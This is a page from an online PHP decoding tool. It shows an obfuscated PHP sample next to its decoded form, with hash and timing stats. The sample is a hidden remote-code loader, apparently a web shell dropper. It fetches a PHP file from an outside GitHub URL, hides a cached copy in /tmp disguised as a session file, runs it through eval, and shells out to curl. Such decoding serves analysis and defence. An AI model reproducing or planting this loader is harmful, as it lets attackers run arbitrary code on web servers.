Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto O949525; O837604: unlink($TMP); goto O012504; O140977: if (file_exists($TMP)) { goto ..

Decoded Output download

<?  goto O949525; O837604: unlink($TMP); goto O012504; O140977: if (file_exists($TMP)) { goto O879322; } goto O530764; O834785: goto O590768; goto O963255; O057085: O879322: goto O378669; O716601: @eval("?>" . $B64); goto O834785; O864258: $TMP = "/tmp/sess_" . md5($_SERVER["HTTP_HOST"]) . ".php"; goto O600695; O600695: function o211372() { goto O812922; O761850: if (!$FGT) { goto O666302; } goto O126454; O126454: $HANDLE = fopen($GLOBALS["TMP"], "w"); goto O299230; O559884: goto O129773; goto O633518; O812922: $FGT = @gzcompress(gzdeflate(gzcompress(gzdeflate(gzcompress(gzdeflate(file_get_contents($GLOBALS["URL"]))))))); goto O761850; O526427: fclose($HANDLE); goto O559884; O633518: O666302: goto O006819; O299230: fwrite($HANDLE, $FGT); goto O526427; O006819: echo `curl -k \$(echo {$GLOBALS[O919810]($GLOBALS[O633212]($GLOBALS[O919810]($GLOBALS[O633212]($GLOBALS[O919810]($GLOBALS[O633212](file_get_contents($GLOBALS["URL"])))))))}) > {$GLOBALS["TMP"]}`; goto O141821; O213801: echo "<script>window.location="?LOL";</script>"; goto O722045; O141821: O129773: goto O213801; O722045: } goto O140977; O378669: if (filesize($TMP) === 0) { goto O601622; } goto O873802; O963255: O601622: goto O837604; O530764: o211372(); goto O109037; O873802: $B64 = gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(file_get_contents($TMP))))))); goto O716601; O109037: goto O762633; goto O057085; O012504: O211372(); goto O081490; O949525: $URL = "https://raw.githubusercontent.com/sekaiowarida/geramx/main/alef.php"; goto O864258; O081490: O590768: goto O513043; O513043: O762633: ?>

Did this file decode correctly?

Original Code

goto O949525; O837604: unlink($TMP); goto O012504; O140977: if (file_exists($TMP)) { goto O879322; } goto O530764; O834785: goto O590768; goto O963255; O057085: O879322: goto O378669; O716601: @eval("\77\76" . $B64); goto O834785; O864258: $TMP = "\57\x74\155\x70\x2f\x73\x65\x73\163\137" . md5($_SERVER["\x48\124\x54\120\137\110\117\123\124"]) . "\x2e\160\x68\x70"; goto O600695; O600695: function o211372() { goto O812922; O761850: if (!$FGT) { goto O666302; } goto O126454; O126454: $HANDLE = fopen($GLOBALS["\124\x4d\120"], "\167"); goto O299230; O559884: goto O129773; goto O633518; O812922: $FGT = @gzcompress(gzdeflate(gzcompress(gzdeflate(gzcompress(gzdeflate(file_get_contents($GLOBALS["\x55\122\x4c"]))))))); goto O761850; O526427: fclose($HANDLE); goto O559884; O633518: O666302: goto O006819; O299230: fwrite($HANDLE, $FGT); goto O526427; O006819: echo `curl -k \$(echo {$GLOBALS[O919810]($GLOBALS[O633212]($GLOBALS[O919810]($GLOBALS[O633212]($GLOBALS[O919810]($GLOBALS[O633212](file_get_contents($GLOBALS["\125\x52\x4c"])))))))}) > {$GLOBALS["\x54\x4d\x50"]}`; goto O141821; O213801: echo "\74\x73\143\x72\x69\160\164\76\x77\x69\156\x64\157\167\56\154\x6f\143\141\x74\x69\157\x6e\x3d\42\x3f\x4c\x4f\x4c\42\73\x3c\x2f\x73\x63\162\151\x70\x74\76"; goto O722045; O141821: O129773: goto O213801; O722045: } goto O140977; O378669: if (filesize($TMP) === 0) { goto O601622; } goto O873802; O963255: O601622: goto O837604; O530764: o211372(); goto O109037; O873802: $B64 = gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(file_get_contents($TMP))))))); goto O716601; O109037: goto O762633; goto O057085; O012504: O211372(); goto O081490; O949525: $URL = "\150\164\x74\160\163\x3a\57\57\162\141\x77\x2e\x67\151\x74\x68\x75\142\x75\x73\145\x72\143\x6f\x6e\x74\145\x6e\164\56\143\157\x6d\57\x73\145\153\x61\151\x6f\x77\x61\162\x69\144\141\57\x67\x65\x72\141\x6d\170\57\155\141\151\156\x2f\x61\x6c\145\x66\56\160\150\160"; goto O864258; O081490: O590768: goto O513043; O513043: O762633:

Function Calls

None

Variables

None

Stats

MD5 fdcd52b69d78c8af99ccf912b44bddf9
Eval Count 0
Decode Time 44 ms